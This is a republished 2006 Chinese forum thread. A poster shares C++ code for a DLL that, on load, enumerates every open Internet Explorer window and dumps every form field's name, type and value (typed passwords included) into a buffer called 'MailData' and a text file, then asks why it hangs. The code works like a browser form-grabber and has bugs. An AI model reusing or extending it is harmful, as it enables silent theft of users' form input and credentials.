关于一个枚举IE表单的DLL,编译无错,但是得不到想到的结果。
關于一個枚舉IE表單的DLL,編譯無錯,但是得不到想到的結果。
樓主Gdlian(古德里安)2006-03-20 11:04:55 在 VC/MFC / 基礎類 提問
主要代碼如下:??
? 代碼應該沒有什么問題的,大部分代碼是從EXE代碼中COPY的,現在我想把這份代碼在DLL內實現??
? 編譯沒有任何問題,但是當我加載DLL實現我想要的功能(將枚舉的表單內容寫入E盤test文本中)??
? 卻無法實現,我發現當我在裝載該DLL的時候,??
? 在?? HRESULT?? hr?? =?? spShellWin.CoCreateInstance(?? CLSID_ShellWindows?? );??
? 這個位置似乎引起了死循環。沒有返回。以后的代碼沒有統統得不到執行??
? 不知道哪里出個問題,希望大哥們幫幫我??
? //??
? //代碼如下:??
? //?? DllEnum.cpp?? :?? Defines?? the?? entry?? point?? for?? the?? DLL?? application.??
? //??
???
? #include?? "stdafx.h"??
? ??
? #include?? "EnumFormVal.h"??
? #include?? <atlbase.h>??
? #include?? <ExDisp.h>??
? CComModule?? _Module; //?? 由于要使用?? CComDispatchDriver?? ATL的智能指針,??
? //?? 所以聲明它是必須的??
???
? #include?? <mshtml.h> //?? 所有?? IHTMLxxxx?? 的接口聲明??
? #include?? <atlcom.h>??
???
? #ifdef?? _DEBUG??
? #define?? new?? DEBUG_NEW??
? #undef?? THIS_FILE??
? static?? char?? THIS_FILE[]?? =?? __FILE__;??
? #endif??
???
? /??
? /??
? //OWN?? definition??
? HINSTANCE?? hInst;??
? HANDLE?? test1;??
? DWORD?? num;??
? char*?? MailData;??
? int?? useful(char*?? li);??
? char?? temp[200];??
? //END??
? //??
? //?? The?? one?? and?? only?? application?? object??
???
? //using?? namespace?? std;??
???
? void?? EnumIE(?? void?? ); //枚舉瀏覽器函數??
? void?? EnumFrame(?? IHTMLDocument2?? *?? pIHTMLDocument2?? ); //枚舉子框架函數??
? void?? EnumForm?? (?? IHTMLDocument2?? *?? pIHTMLDocument2?? ); //枚舉表單函數??
???
???
? void?? EnumIE(?? void?? )??
? {??
? useful("開始掃描系統中正在運行的瀏覽器實例")?? ;??
???????????
? CComPtr<?? IShellWindows?? >?? spShellWin;??
???
? HRESULT?? hr?? =?? spShellWin.CoCreateInstance(?? CLSID_ShellWindows?? );??
???
? if?? (?? FAILED?? (?? hr?? )?? )??
? {??
? useful("獲取?? IShellWindows?? 接口錯誤")?? ;??
? return;??
? }??
???
? long?? nCount?? =?? 0; //?? 取得瀏覽器實例個數(Explorer?? 和?? IExplorer)??
? spShellWin->get_Count(?? &nCount?? );??
? if(?? 0?? ==?? nCount?? )??
? {??
? useful("沒有在運行著的瀏覽器");??
? return;??
? }??
???
? for(int?? i=0;?? i<nCount;?? i++)??
? {??
? CComPtr<?? IDispatch?? >?? spDispIE;??
? hr=spShellWin->Item(CComVariant(?? (long)i?? ),?? &spDispIE?? );??
? if?? (?? FAILED?? (?? hr?? )?? ) continue;??
???
? CComQIPtr<?? IWebBrowser2?? >?? spBrowser?? =?? spDispIE;??
? if?? (?? !spBrowser?? ) continue;??
???
? CComPtr?? <?? IDispatch?? >?? spDispDoc;??
? hr?? =?? spBrowser->get_Document(?? &spDispDoc?? );??
? if?? (?? FAILED?? (?? hr?? )?? ) continue;??
???
? CComQIPtr<?? IHTMLDocument2?? >?? spDocument2?? =?? spDispDoc;??
? if?? (?? !spDocument2?? ) continue;??
???
? //?? 程序運行到此,已經找到了?? IHTMLDocument2?? 的接口指針??
???
??? //刪除下行語句的注釋,把瀏覽器的背景改變看看??
??? spDocument2->put_bgColor(?? CComVariant(?? "yellow"?? )?? );??
???
? EnumForm(?? spDocument2?? ); //枚舉所有的表單??
? }??
? }??
???
? void?? EnumFrame(?? IHTMLDocument2?? *?? pIHTMLDocument2?? )??
? {??
? if?? (?? !pIHTMLDocument2?? ) return;??
???
? HRESULT?? hr;??
???
? CComPtr<?? IHTMLFramesCollection2?? >?? spFramesCollection2;??
? pIHTMLDocument2->get_frames(?? &spFramesCollection2?? ); //取得框架frame的集合??
???
? long?? nFrameCount=0; //取得子框架個數??
? hr?? =?? spFramesCollection2->get_length(?? &nFrameCount?? );??
? if?? (?? FAILED?? (?? hr?? )?? ||?? 0?? ==?? nFrameCount?? ) return;??
???
? for(long?? i=0;?? i<nFrameCount;?? i++)??
? {??
? CComVariant?? vDispWin2; //取得子框架的自動化接口??
? hr?? =?? spFramesCollection2->item(?? &CComVariant(i),?? &vDispWin2?? );??
? if?? (?? FAILED?? (?? hr?? )?? ) continue;??
???
? CComQIPtr<?? IHTMLWindow2?? >?? spWin2?? =?? vDispWin2.pdispVal;??
? if(?? !spWin2?? ) continue; //取得子框架的?? IHTMLWindow2?? 接口??
???
? CComPtr?? <?? IHTMLDocument2?? >?? spDoc2;??
? spWin2->get_document(?? &spDoc2?? ); //取得字框架的?? IHTMLDocument2?? 接口??
???
? EnumForm(?? spDoc2?? ); //遞歸枚舉當前子框架?? IHTMLDocument2?? 上的表單form??
? }??
? }??
???
? void?? EnumForm(?? IHTMLDocument2?? *?? pIHTMLDocument2?? )??
? {??
? if(?? !pIHTMLDocument2?? ) return;??
???
? EnumFrame(?? pIHTMLDocument2?? ); //遞歸枚舉當前?? IHTMLDocument2?? 上的子框架fram??
???
? HRESULT?? hr;??
? CComBSTR?? bstrTitle;??
? pIHTMLDocument2->get_title(?? &bstrTitle?? ); //取得文檔標題??
???
? USES_CONVERSION;??
? useful("====================");??
? strcpy(temp,"開始枚舉“");??
? strcat(temp,OLE2CT(?? bstrTitle?? ));??
????????? strcat(temp,"”的表單/n");??
? useful(temp);??
? useful("====================");??
? //cout?? <<?? _T("開始枚舉“")?? <<?? OLE2CT(?? bstrTitle?? )?? <<?? _T("”的表單")?? <<?? endl;??
? //cout?? <<?? _T("====================")?? <<?? endl;??
???
? CComQIPtr<?? IHTMLElementCollection?? >?? spElementCollection;??
? hr?? =?? pIHTMLDocument2->get_forms(?? &spElementCollection?? ); //取得表單集合??
? if?? (?? FAILED(?? hr?? )?? )??
? {??
? useful("獲取表單的集合?? IHTMLElementCollection?? 錯誤")?? ;??
? return;??
? }??
???
? long?? nFormCount=0; //取得表單數目??
? hr?? =?? spElementCollection->get_length(?? &nFormCount?? );??
? if?? (?? FAILED(?? hr?? )?? )??
? {??
? useful("獲取表單數目錯誤");??
? return;??
? }??
???
? for(long?? i=0;?? i<nFormCount;?? i++)??
? {??
? IDispatch?? *pDisp?? =?? NULL; //取得第?? i?? 項表單??
? hr?? =?? spElementCollection->item(?? CComVariant(?? i?? ),?? CComVariant(),?? &pDisp?? );??
? if?? (?? FAILED(?? hr?? )?? ) continue;??
???
? CComQIPtr<?? IHTMLFormElement?? >?? spFormElement?? =?? pDisp;??
? pDisp->Release();??
???
? long?? nElemCount=0; //取得表單中?? 域?? 的數目??
? hr?? =?? spFormElement->get_length(?? &nElemCount?? );??
? if?? (?? FAILED(?? hr?? )?? ) continue;??
???
? for(long?? j=0;?? j<nElemCount;?? j++)??
? {??
? CComDispatchDriver?? spInputElement; //取得第?? j?? 項表單域??
? hr?? =?? spFormElement->item(?? CComVariant(?? j?? ),?? CComVariant(),?? &spInputElement?? );??
? if?? (?? FAILED(?? hr?? )?? ) continue;??
???
? CComVariant?? vName,vVal,vType; //取得表單域的?? 名,值,類型??
? hr?? =?? spInputElement.GetPropertyByName(?? L"name",?? &vName?? );??
? if(?? FAILED(?? hr?? )?? ) continue;??
? hr?? =?? spInputElement.GetPropertyByName(?? L"value",?? &vVal?? );??
? if(?? FAILED(?? hr?? )?? ) continue;??
? hr?? =?? spInputElement.GetPropertyByName(?? L"type",?? &vType?? );??
? if(?? FAILED(?? hr?? )?? ) continue;??
???
? LPCTSTR?? lpName?? =?? vName.bstrVal???
? OLE2CT(?? vName.bstrVal?? )?? :?? _T("NULL"); //未知域名??
? LPCTSTR?? lpVal???? =?? vVal.bstrVal???
? OLE2CT(?? vVal.bstrVal???? )?? :?? _T("NULL"); //空值,未輸入??
? LPCTSTR?? lpType?? =?? vType.bstrVal???
? OLE2CT(?? vType.bstrVal?? )?? :?? _T("NULL"); //未知類型??
???
? //cout?? <<?? _T("[")?? <<?? lpType?? <<?? _T("]?? ");??
???
? strcat(MailData,"[");??
? strcat(MailData,lpType);??
? strcat(MailData,"]");??
? //cout?? <<?? lpName?? <<?? _T("?? =?? ")?? <<?? lpVal?? <<?? endl;??
? strcat(MailData,"[");??
????????? strcat(MailData,lpName);??
? strcat(MailData,"]");??
? strcat(MailData,"=");??
? strcat(MailData,lpVal);??
? strcat(MailData,"/n");??
? }??
? //想提交這個表單嗎?刪除下面語句的注釋吧??
? //pForm->submit();??
? }??
? }??
? ??
? BOOL?? APIENTRY?? DllMain(?? HANDLE?? hModule,?? DWORD???? reason,?? LPVOID?? lpReserved)??
? {??
? hInst?? =?? (HINSTANCE)hModule;??
? if(reason?? ==?? DLL_PROCESS_ATTACH)??
? {??
???
? MailData?? =?? (char*)VirtualAlloc(NULL,1024*100,MEM_TOP_DOWN|MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);??
? test1?? =???? CreateFile(??
? "e://test.txt",??
? GENERIC_READ|GENERIC_WRITE,??
? FILE_SHARE_READ,??
? NULL,??
? CREATE_ALWAYS,??
? FILE_ATTRIBUTE_NORMAL,??
? NULL);??
???
???
? ::CoInitialize(NULL); //初始化?? COM?? 公寓??
???
? EnumIE(); //枚舉瀏覽器??
???
? ::CoUninitialize(); //釋放?? COM?? 公寓??
???
? WriteFile(??
? test1,??
? MailData,??
? strlen(MailData),??
? &num,??
? NULL);??
? CloseHandle(test1);??
???
???
???
? }??
???
? return?? true;??
? }??
???
? ??
? //OWN?? definition??
? int?? useful(char*?? li)??
? {??
? strcat(MailData,li);??
? strcat(MailData,"/r");??
???
? /*WriteFile(??
? test1,??
? MailData,??
? strlen(MailData),??
? &num,??
? NULL);*/??
? return?? 1;??
? }??
? //END??
???
? ///??
? ///??
? 解決問題的話分不是問題。另外如果能幫我把這份代碼的獲取IHTMLDocument2接口部分改成??
? 從IE的窗體句柄獲取就更好了。??
? 頂者有分,我不吝惜分的! 問題點數:100、回復次數:4Top
1 樓laiyiling(陌生人[MVP])回復于 2006-03-20 11:12:18 得分 0
How?? To?? Get?? IHTMLDocument2?? from?? a?? HWND??
? http://support.microsoft.com/kb/249232/Top
2 樓Gdlian(古德里安)回復于 2006-03-20 18:58:04 得分 0
謝謝樓上?? 5顆星啊....Top
3 樓Gdlian(古德里安)回復于 2006-03-22 14:11:44 得分 0
UP?? UP?? UPTop
4 樓Gdlian(古德里安)回復于 2006-03-22 20:06:57 得分 0
100分太少了嗎?? SHIT
?
本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/skyremember/archive/2008/10/04/3013435.aspx
總結
以上是生活随笔為你收集整理的关于一个枚举IE表单的DLL,编译无错,但是得不到想到的结果。的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Windows系统编程之进程间通信
- 下一篇: 枚举IHTMLDocument2中所有I